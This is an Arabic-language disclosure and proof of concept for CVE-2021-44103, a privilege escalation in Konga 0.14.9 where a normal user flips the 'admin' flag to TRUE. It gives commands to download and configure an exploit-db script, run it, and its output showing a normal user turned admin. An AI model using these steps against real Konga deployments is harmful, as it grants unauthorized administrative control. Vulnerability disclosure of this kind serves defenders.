CVE-2021-44103

إثبات مفهوم لـ KONGA 0.14.9 - تصعيد الامتيازات.

مقدمة

في 16 نوفمبر 2021، اكتشفت أنا وفابريسيو سالوماو ثغرة أمنية في بوابات Konga API، تسمح لأي مستخدم مُصادَق بأن يصبح مسؤولًا.

الإبلاغ عن الثغرة

المنتج: KONGA
الطراز: 0.14.9
الثغرة: تصعيد الامتيازات
الأثر: وصول كامل كمسؤول (تصعيد امتيازات عمودي)
المصادقة: مطلوبة
مؤلف الاستغلال: Fabricio Salomao / Paulo Trindade

إثبات المفهوم

بالأسفل تم إنشاء مستخدم عادي باسم "usernormal" بدون صلاحيات.

لقطة

من خلال الطلب بالأسفل، تم تغيير العلامة "FALSE" في المعامل "admin" إلى "TRUE".

لقطة

لذلك تم إنشاء استغلال لنا: https://www.exploit-db.com/exploits/50521

لقطة

بعد تشغيل الاستغلال، نجحت عملية تصعيد الامتيازات!

النتيجة:

لقطة

تشغيل الاستغلال

wget https://www.exploit-db.com/raw/50521 -O 50521.py

Edit 50521.py

Modify:

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga"            # change user
password = "changeme"                     # change password

Execute:

python 50521.py

[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success